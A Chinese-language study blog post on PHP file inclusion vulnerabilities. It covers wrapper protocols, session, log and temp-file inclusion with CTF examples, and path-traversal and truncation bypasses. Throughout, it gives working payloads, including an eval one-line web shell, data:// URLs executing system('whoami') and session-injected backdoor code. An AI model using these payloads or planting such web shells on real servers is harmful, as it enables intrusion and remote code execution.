文件包含漏洞学习

文件包含漏洞学习

1.文件包含漏洞概述

和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。

以PHP为例,常用的文件包含函数有以下四种
include(),require(),include_once(),require_once()

区别如下:

require():找不到被包含的文件会产生致命错误,并停止脚本运行
include():找不到被包含的文件只会产生警告,脚本继续执行
require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

漏洞成因为:当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。

利用这个特性,我们可以读取包含敏感信息的文件。

2.本地文件包含LFI(Local File Inclusion)

本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。

3.远程文件包含RFI(Remote File Inclusion)

远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置

  1. allow_url_fopen = On
  2. allow_url_include = On

两个配置选项均需要为On,才能远程包含文件成功。

在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。

4.包含姿势

file://协议

**file://**用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。

姿势:

1
file:// [文件的绝对路径和文件名]

php://协议

php://input

php://input可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

利用条件:

  1. allow_url_include = On。
  2. 对allow_url_fopen不做要求。

姿势:

1
2
3
4
5
index.php
?file=php://input

POST:
<? phpinfo();?>

php://filter

php://filter读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

利用条件:无甚

姿势:

1
index.php?file=php://filter/read=convert.base64-encode/resource=index.php

通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。

1
2
3
>>> import base64
>>> base64.b64decode("PD9waHAgDQoJJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KCWluY2x1ZGUgJGZpbGU7DQo/Pg==")
b"<?php \r\n\t$file = $_GET['file'];\r\n\tinclude $file;\r\n?>"

其他姿势:

1
index.php?file=php://filter/convert.base64-encode/resource=index.php

效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。

phar://

phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file:// php://等类似,也是一种流包装器。

使用Phar://伪协议流可以Bypass一些上传的waf,大多数情况下和文件包含一起使用,就类似于我们的压缩包(其实就是一个压缩包),只不过我们换了一种方式去执行而已

写一段小代码测试一下:
test.php

1
<?php @eval($_POST["cmd"]);?>

然后将test.php压缩为test.zip,将压缩文件改后缀为.jpg
index.php

1
2
3
<?php 
include('phar://./test.jpg/test.php');
?>

成功包含

PixPin_2025-09-09_17-55-36

利用条件:

  1. php版本大于等于php5.3.0

姿势:

假设有个文件phpinfo.txt,其内容为<?php phpinfo(); ?>,打包成zip压缩包,如下:

指定绝对路径

1
index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt

或者使用相对路径(这里test.zip就在当前目录下)

1
index.php?file=phar://test.zip/phpinfo.txt

zip://协议

利用条件:

  1. php版本大于等于php5.3.0

姿势:
构造zip包的方法同phar。

但使用zip协议,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件。

1
index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt

date://协议

data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:

利用条件:

  1. php版本大于等于php5.2

  2. allow_url_fopen :on

  3. allow_url_include:on

姿势一:

1
index.php?file=data:text/plain,<?php phpinfo();?>

执行命令:

1
index.php?file=data:text/plain,<?php system('whoami');?>

姿势二:

1
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

加号+的url编码为%2bPD9waHAgcGhwaW5mbygpOz8+的base64解码为:<?php phpinfo();?>

执行命令:

1
index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

其中PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==的base64解码为:<?php system('whoami');?>

session文件包含

利用条件:session文件路径已知,且其中内容部分可读写。

姿势:

php的session文件的保存路径可以在phpinfo的session.save_path看到

常见的php-session存放位置:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID

session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。

要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码.

例题

题目:一道CTF题:PHP文件包含 | Chybeta

首先用php://filter伪协议读取到代码,

题目涉及到登陆注册界面,先考虑sql注入,往往注册与登陆操作中会有与数据库交互的地方也是sql注入的常见引发点。

register.php源代码

1
2
3
4
5
6
7
8
9
# register.php

$mysqli->set_charset("utf8");
$sql = "select * from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_id, $res_username, $res_password);
$stmt->execute();
$stmt->store_result();

再看一下login.php源代码

1
2
3
4
5
6
7
8
# login.php

$sql = "select password from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_password);
$stmt->execute();
$stmt->fetch();

数据库连接部分使用了mysqli预处理。

只要用了 预处理语句(prepare + bind_param/execute),就能大幅降低 SQL 注入风险。

接着再看看,有哪些参数是可控的。

在login.php中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 第3行
session_start();
if($_SESSION['username']) {
header('Location: index.php');
exit;
}
# 第8行
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];

# 第20行
$stmt->bind_result($res_password);
# 第24行
if ($res_password == $password) {
$_SESSION['username'] = base64_encode($username);
header("location:index.php");

这里使用了session来保存用户会话

变量$username是我们可控的,并且被设置到了$_SESSION中,因此我们输入的数据未经过滤的就被写入到了对应的sessioin文件中。结合前面的php文件包含,可以推测这里可以包含session文件

要包含session文件,需要知道文件的路径。常见的php-session存放位置在前文已经列举过了。

能包含,并且控制session文件,但要写入可用的payload,还需要绕过:

1
$_SESSION['username'] = base64_encode($username);

输入的用户名会被base64加密。如果直接用php伪协议来解密整个session文件,由于序列化的前缀,势必导致乱码。

考虑一下base64的编码过程。比如编码abc。

1
2
3
4
5
6
7
未编码: abc
转成ascii码: 97 98 99
转成对应二进制(三组,每组8位): 01100001 01100010 01100011
重分组(四组,每组6位): 011000 010110 001001 100011
每组高位补零,变为每组8位:00011000 00010110 00001001 00100011
每组对应转为十进制: 24 22 9 35
查表得: Y W J j

PHP 在保存到 session 文件时会序列化成:

1
username|s:12:"QUJDREVGR0g=";
  • username|s:12:" → 这是 前缀,描述键名和字符串长度。
  • QUJDREVGR0g= → 这是 base64 编码后的内容。
  • "; → 结束符。

考虑一下session的前缀:username|s:12:",中间的数字12表示后面base64串的长度。当base64串的长度小于100时,前缀的长度固定为15个字符,当base64串的长度大于100小于1000时,前缀的长度固定为16个字符。

由于16个字符,恰好满足一下条件:

1
16个字符 => 16 * 6 = 96 位 => 96 mod 8 = 0

再解释一下上面的式子:

  • 原始数据是按 8 位(1字节)存储的。
  • Base64 编码时,把原始比特流切成 6 位一组
  • 每一组 6 位再映射成一个 Base64 字符。

所以,1 个 Base64 字符代表 6 位信息

原始数据是按字节(8 位)存储的,但编码结果是按 6 位分组的。
为了不丢信息,Base64 要保证:

用 N 个 6 位分组拼起来时,能正好覆盖某个整数个字节(8 位一组)。

这就等价于:
$$
N×6≡0(mod8)N
$$

也就是说,当对session文件进行base64解密时,前16个字符固然被解密为乱码,但不会再影响从第17个字符后的部分也就是base64加密后的username。

Get Flag

注册一个账号,比如:

1
chybetachybetachybetachybetachybetachybetachybetachybetachybeta<?php eval($_GET['atebyhc']) ?>

其base64加密后的长度为128,大于100。

1
2
3
http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85
&atebyhc=phpinfo();

包含日志

访问日志

利用条件: 需要知道服务器日志的存储路径,且日志文件可读。

姿势:

很多时候,web服务器会将请求写入到日志文件中,比如说apache。

PixPin_2025-09-09_19-28-40

在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。

但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。

正常的php代码已经写入了 /var/log/apache2/access.log。然后进行包含即可。

在一些场景中,log的地址是被修改掉的。你可以通过读取相应的配置文件后,再进行包含。

SSH log

利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log

姿势:

用ssh连接:

1
ubuntu@VM-207-93-ubuntu:~$ ssh '<?php phpinfo(); ?>'@remotehost

之后会提示输入密码等等,随便输入。

然后在remotehost的ssh-log中即可写入php代码:

之后进行文件包含即可。

包含fd

因为 Apache 的日志(比如错误日志)里会记录一些信息,比如请求头。
所以攻击者可以把一段 PHP 代码(比如 <?php ... ?>)塞进 Referer 请求头,这样日志文件里就会出现这段代码。

如果网站有 LFI 漏洞,可以让它“包含”日志文件,那么日志里的 PHP 代码就会被执行。

包含 Apache 错误日志信息 的 proc 文件会在 /proc/self/fd/ 下变化,例如 /proc/self/fd/2、**/proc/self/fd/10** 等。

包含environ

利用条件:

  1. php以cgi方式运行,这样environ才会保持UA头。
  2. environ文件存储位置已知,且environ文件可读。

姿势:

proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。

包含临时文件

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。

例题

XMAN夏令营-2017-babyweb-writeup | Chybeta

题目要求上传后缀为.gif或者.jpg的文件,它先将我们上传的文件保存到uploads文件夹下,然后sleep(2),接着调用imagecreatefromgif等一系列操作。如果我们上传一个包含php代码的图片木马,在经过imagecreatefromgif等一系列操作后,正常情况下其中的php代码会被去掉,也就是说操作过后的图片已经不是图片木马了。不过由于存在sleep(2),可以利用这个两秒的空隙,利用phar或者zip协议去包含我们上传的还未被删除的图片木马。

PixPin_2025-09-10_21-42-06

从上文中利用phar或者zip协议的方法,显然我们需要把一句话木马压缩为.zip。

上传时将其文件名改为k.jpg,类型改为image/jpeg。在上传后访问http://202.112.51.217:8199/uploads/,去获取最新的文件名,然后用协议去包含。如果手动的话时间肯定会超过2s,所以需要用脚本。

绕过姿势

平常碰到的情况肯定不会是简简单单的include $_GET['file'];这样直接把变量传入包含函数的。在很多时候包含的变量/文件不是完全可控的,比如下面这段代码指定了前缀和后缀:

1
2
3
4
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file.'/test/test.php';
?>

这样就很“难”直接去包含前面提到的种种文件。

指定前缀

先考虑一下指定了前缀的情况吧。测试代码:

1
2
3
4
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file;
?>

目录遍历

这个最简单了,简要的提一下。

现在在/var/log/test.txt文件中有php代码<?php phpinfo();?>,则利用../可以进行目录遍历,比如我们尝试访问:

1
include.php?file=../../log/test.txt

则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,也即/var/log/test.txt。从而包含成功。

编码绕过

服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。

  • 利用url编码
    • ../
      • %2e%2e%2f
      • ..%2f
      • %2e%2e/
    • ..\
      • %2e%2e%5c
      • ..%5c
      • %2e%2e\
  • 二次编码
    • ../
      • %252e%252e%252f
    • ..\
      • %252e%252e%255c
  • 容器/服务器的编码方式

指定后缀

接着考虑指定后缀的情况。测试代码:

1
2
3
4
<?php
$file = $_GET['file'];
include $file.'/test/test.php';
?>

URL

url格式:

姿势一:query(?)

原理:浏览器或服务器会把 ?.php 当成“请求参数”,而不是文件名的一部分。

1
index.php?file=http://remoteaddr/remoteinfo.txt?

姿势二:fragment(#)

原理:URL 里的 # 表示 片段定位符(fragment),浏览器只在本地解析,不会传给远程服务器。

1
index.php?file=http://remoteaddr/remoteinfo.txt%23

利用协议

前面有提到过利用zip协议和phar协议。

长度截断

利用条件: php版本 < php 5.2.8

目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./

1
index.php?file=././././。。。省略。。。././shell.txt

则后缀/test/test.php,在达到最大值后会被直接丢弃掉。

0字节截断

利用条件: php版本 < php 5.3.4

1
index.php?file=phpinfo.txt%00

能利用00截断的场景现在应该很少了:)

Reffeerence

php文件包含漏洞 | Chybeta

文件包含漏洞全面详解-CSDN博客


文件包含漏洞学习
http://example.com/2025/10/16/文件包含漏洞学习/
作者
everythingis-ok
发布于
2025年10月16日
许可协议